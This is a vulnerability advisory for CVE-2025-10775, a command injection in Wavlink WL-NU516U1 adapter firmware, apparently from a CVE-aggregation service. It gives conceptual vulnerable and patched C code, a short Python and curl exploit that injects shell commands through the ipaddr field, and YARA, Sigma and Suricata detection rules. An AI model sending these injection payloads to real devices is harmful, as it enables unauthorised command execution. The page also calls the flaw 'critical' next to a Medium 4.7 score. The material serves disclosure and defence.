CVE-2025-10775
Executive Summary
CVE-2025-10775 is a critical OS command injection vulnerability in the Wavlink WL-NU516U1 USB-to-Ethernet adapter firmware version 240425. The flaw resides in the sub_4012A0 function within /cgi-bin/login.cgi, where the ipaddr argument is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. With a CVSS score of 4.7 (Medium), the vulnerability is publicly disclosed with a proof-of-concept exploit, yet the vendor has not responded to disclosure attempts. No patch is currently available, leaving all devices running this firmware version at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on a Wavlink networking device.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Base Score: 4.7 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Exploit does not cross trust boundaries.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification possible.
- Availability Impact: Low (A:L) – Limited service disruption.
Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low-level compromise. However, given the lack of a patch and public exploit availability, the risk is elevated for exposed devices.
Deep Dive & Mechanics
The vulnerability is an OS command injection in the sub_4012A0 function of /cgi-bin/login.cgi. The ipaddr parameter is passed directly to a system command without sanitization. An attacker can inject commands using shell metacharacters (e.g., ;, |, &&). The function likely constructs a command like ping -c 1 <ipaddr> or similar, allowing arbitrary command execution.
Root Cause: Lack of input validation and use of unsafe functions (e.g., system(), popen()) with user-supplied data.
Attack Vector: Sending a crafted HTTP POST request to /cgi-bin/login.cgi with a malicious ipaddr parameter.
Impact: Full remote code execution as the web server user (likely root), enabling device takeover, data exfiltration, or use in botnets.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
void sub_4012A0() {
char ipaddr[256];
char cmd[512];
get_cgi_value("ipaddr", ipaddr);
sprintf(cmd, "ping -c 1 %s", ipaddr);
system(cmd);
}
Patched Code (Conceptual):
void sub_4012A0() {
char ipaddr[256];
char cmd[512];
get_cgi_value("ipaddr", ipaddr);
// Validate IP address format
if (!is_valid_ip(ipaddr)) {
return_error("Invalid IP");
return;
}
// Use execve with sanitized arguments
char *args[] = {"/bin/ping", "-c", "1", ipaddr, NULL};
execve("/bin/ping", args, NULL);
}
Key Differences:
- Input validation (IP format check) is added.
- Unsafe
system()is replaced withexecve()to prevent shell injection. - No patch is available from the vendor.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Wavlink WL-NU516U1 device with firmware 240425.
- Network access to the device's web interface (typically port 80 or 443).
Exploit (Python):
import requests
target = "http://<device_ip>/cgi-bin/login.cgi"
payload = "127.0.0.1; id > /tmp/exploit.txt"
data = {"ipaddr": payload}
try:
r = requests.post(target, data=data, timeout=10)
print(f"Exploit sent. Check /tmp/exploit.txt on device.")
except Exception as e:
print(f"Error: {e}")
Manual Exploit (curl):
curl -X POST http://<device_ip>/cgi-bin/login.cgi -d "ipaddr=127.0.0.1; id > /tmp/exploit.txt"
Verification:
curl http://<device_ip>/cgi-bin/login.cgi -d "ipaddr=127.0.0.1; cat /tmp/exploit.txt"
Blue Team (Defensive)
Detection:
- Monitor HTTP POST requests to
/cgi-bin/login.cgiwith suspiciousipaddrparameters containing shell metacharacters (;,|,&,$,`). - Log all command execution attempts via system logs (if available).
- Use network intrusion detection systems (NIDS) to alert on exploit patterns.
Honeypot:
- Deploy a fake Wavlink login endpoint to capture exploit attempts.
Mitigation:
- Isolate affected devices on a separate VLAN.
- Block external access to the web interface.
- Apply virtual patching via WAF rules (see Detection Engineering).
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/login.cgiwithipaddrcontaining shell metacharacters. - Outbound connections from the device to unknown IPs (e.g., for reverse shells).
- Unusual DNS queries from the device.
File IOCs:
- Unexpected files in
/tmp/(e.g.,/tmp/exploit.txt). - Modified system binaries or scripts.
Process IOCs:
- Unusual processes spawned by the web server (e.g.,
id,cat,nc).
Example IOC (YARA):
rule CVE_2025_10775_Exploit {
meta:
description = "Detects exploit attempts for CVE-2025-10775"
author = "Valters IT"
date = "2025-04-10"
strings:
$ipaddr = "ipaddr="
$metachar = /[;|&$`]/
condition:
$ipaddr and $metachar
}
Detection Engineering
YARA Rule
rule CVE_2025_10775_Exploit_HTTP {
meta:
description = "Detects HTTP POST requests exploiting CVE-2025-10775"
author = "Valters IT"
date = "2025-04-10"
strings:
$uri = "/cgi-bin/login.cgi"
$ipaddr = "ipaddr="
$shell = /[;|&$`]/
condition:
$uri and $ipaddr and $shell
}
Sigma Rule
title: CVE-2025-10775 Wavlink OS Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2025-10775 via HTTP POST to /cgi-bin/login.cgi
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: /cgi-bin/login.cgi
cs-uri-query|contains: ipaddr=
keywords:
- ';'
- '|'
- '&'
- '$'
- '`'
condition: selection and keywords
falsepositives:
- Legitimate use of IP address with special characters (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-10775 Wavlink OS Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/login.cgi"; http_uri;
content:"ipaddr="; http_client_body;
pcre:"/(;|\||&|\$|`)/Ri";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate Devices: Place affected Wavlink devices on a separate VLAN with restricted internet access.
- Disable Remote Access: Block external access to the web interface (port 80/443) via firewall.
- Monitor Logs: Enable logging and monitor for exploit attempts using the provided detection rules.
Long-Term Fix:
- Vendor Patch: No patch available. Contact Wavlink support and demand a firmware update.
- Device Replacement: Consider replacing the device with a patched alternative if critical.
- Virtual Patching: Deploy WAF rules to block malicious
ipaddrparameters.
Workaround:
- If the device is not needed, disable the web interface entirely.
- Use network segmentation to limit exposure.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert